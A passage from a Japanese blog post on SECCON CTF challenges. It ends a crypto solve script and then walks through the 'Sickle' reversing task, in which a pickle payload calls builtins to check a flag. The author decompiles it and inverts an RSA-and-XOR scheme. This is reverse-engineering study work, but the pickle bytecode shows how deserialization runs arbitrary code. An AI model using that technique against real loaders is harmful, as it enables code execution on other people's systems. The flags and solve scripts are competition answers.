x = 7049028611791788416527503767299980833321921650481226830932534653625257422176384144719911602909797120284285091830806114062950348160008190664321577663871563837270267155550634304964856597253208412711703848917667823991955970386527486366865185316802697814003588828834002848101853548538063583250247713915815836305*pow(2132,-1,n)
y = 1445756961884039688206006403016605462701443924280141487433975857490984874074679370091427168824979018044486406100455879523760143627951139508512981298995568724169767629298108686532578073932766969890808816742251917844773560133362140668647020713495750730897281940486267010015313369153151530829014747374355143674997*pow(2132,-1,n)
z = -311315569391963887847685837167979737900306966985133438771051798316702171035040518764888660091690460392450862398347146922390662994880960221252279187855594347430079549240069854465187770827861466779325825840964911214735467736517571747502975549745547163295275470567521645613588976293219198802628213233200919895279*pow(1066,-1,n)

X = (b*x+c*y+d*z) % n

print("X =",X)

x = -115*pow(2132,-1,n)
y = 1067*pow(2132,-1,n)
z = -181*pow(3731,-1,n)

m = ((b*x+c*y+d*z) * pow(X,-1,n)) % n

print(long_to_bytes(m))

flag

SECCON{pr0m153_m3!d0_n07_3ncryp7_p_0r_q_3v3n_w17h_r54_4.0}

Sickle (reversing)

問題

Pickle infected with COVID-19

problem.py
import pickle, io


payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
res = pickle.load(f)

if isinstance(res, bool) and res:
    print("Congratulations!!")
else:
    print("Nope")

解法

Fickling というツールを見つけたのでデコンパイルしてみます。
エラーが出ましたがとりあえずデコンパイルできるようです。

_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
result0 = _var13

実行すると AttributeError: 'NoneType' object has no attribute 'seek' というエラーが発生しました。
とりあえず何が起こっているのかを知るために読みやすくします。

inp = input('FLAG> ').encode()
res = globals().get("f").seek((len(inp) == 64) + 261)

とりあえず f というグローバル変数が無いせいでエラーが出ていそうです。
次のように修正したらうまく動きました。

import pickle, io

payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)

inp = input('FLAG> ').encode()
res = f.seek((len(inp) == 64) + 261)
print(res)

入力の長さが 64 ならば payload262 文字目以降 (0-idx) を実行していそうです。
(そうでなければ 261 文字目以降)
しかし、262文字目以降をデコンパイルしようとしてもうまくいきません。
ここで、「スタックの状態を保持したまま実行されるのでは?」と思いつきます。
pickletools.dis(payload) の結果も考えると、260 文字目までが実行されてから 262 文字目以降を実行していそうなので、261文字目を消したものを Fickling にかけます。

_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
_var14 = getattr(_var2, '__getitem__')
_var15 = _var14(0)
_var16 = getattr(_var15, '__le__')
_var17 = _var16(127)
_var18 = _var7(_var17, 330)
_var19 = _var6(_var18)
result0 = _var19

ちょっと増えましたね。
わかりやすくするとこうなります。

import pickle, io

payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)

inp = input('FLAG> ').encode()
res = f.seek((inp[0] <= 127) + 330)

print(res)

また同じようにやればよさそうです。

_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
_var14 = getattr(_var2, '__getitem__')
_var15 = _var14(0)
_var16 = getattr(_var15, '__le__')
_var17 = _var16(127)
_var18 = _var7(_var17, 330)
_var19 = _var6(_var18)
_var20 = _var7(0, 1)
_var21 = _var9(_var20, 64)
_var22 = _var8(_var21, 85)
_var23 = _var7(_var22, 290)
_var24 = _var6(_var23)
_var25 = getattr([], 'append')
_var26 = getattr([], '__getitem__')
_var27 = getattr(int, 'from_bytes')
_var28 = _var8(0, 8)
_var29 = _var7(0, 1)
_var30 = _var8(_var29, 8)
_var31 = slice(_var28, _var30)
_var32 = _var14(_var31)
_var33 = _var27(_var32, 'little')
_var34 = _var25(_var33)
_var35 = _var7(0, 1)
_var36 = _var9(_var35, 8)
_var37 = _var8(_var36, 119)
_var38 = _var7(_var37, 457)
_var39 = _var6(_var38)
_var40 = getattr([], 'append')
_var41 = getattr([], '__getitem__')
_var42 = getattr(int, '__xor__')
_var43 = _var26(0)
_var44 = _var42(_var43, 1244422970072434993)
_var45 = pow(_var44, 65537, 18446744073709551557)
_var46 = _var40(_var45)
_var47 = _var41(0)
_var48 = _var7(0, 1)
_var49 = _var9(_var48, 8)
_var50 = _var8(_var49, 131)
_var51 = _var7(_var50, 679)
_var52 = _var6(_var51)
_var53 = getattr([], '__eq__')
_var54 = _var53([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905])
result0 = _var54

このように(若干のエスパーをしながら)作業を続けていくと

solve.py
inp = input('FLAG> ').encode()
X = []
for i in range(8):
    X.append(int.from_bytes(inp[i*8:(i+1)*8], 'little'))
Y = []
p = 1244422970072434993
for i in range(8):
    Y.append(pow(X[i] ^ p, 65537, 18446744073709551557))
    p = Y[i]
res = (Y == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905])
print(res)

となり、あとは 1素数RSA + xor なので簡単に元に戻すことができます。

solve.py
flag = b""
Y = [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905]
d = pow(65537, -1, 18446744073709551557-1)
p = 1244422970072434993

for i in range(8):
    flag += (p ^ pow(Y[i], d, 18446744073709551557)).to_bytes(8, 'little')
    p = Y[i]

print(flag)

flag

SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}

おわりに

次回は国内 top 10 目指したいです。
強い方、ぜひ拾っていただけると嬉しいです…

  1. 執筆時点で高1なのですが、学業が大変なことになりかけています…

  2. すごい時間がかかって大変でした

  3. GitHub Copilot がほとんど実装してくれました。便利ですね。

  4. sympy で求められます。

    import sympy
    sympy.var('x,y,z')
    print(sympy.solve([3*x+3*y+7*z - 0,1*x+13*y+133*z - 1,337*x+37*y+7*z - 0]))
    

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
3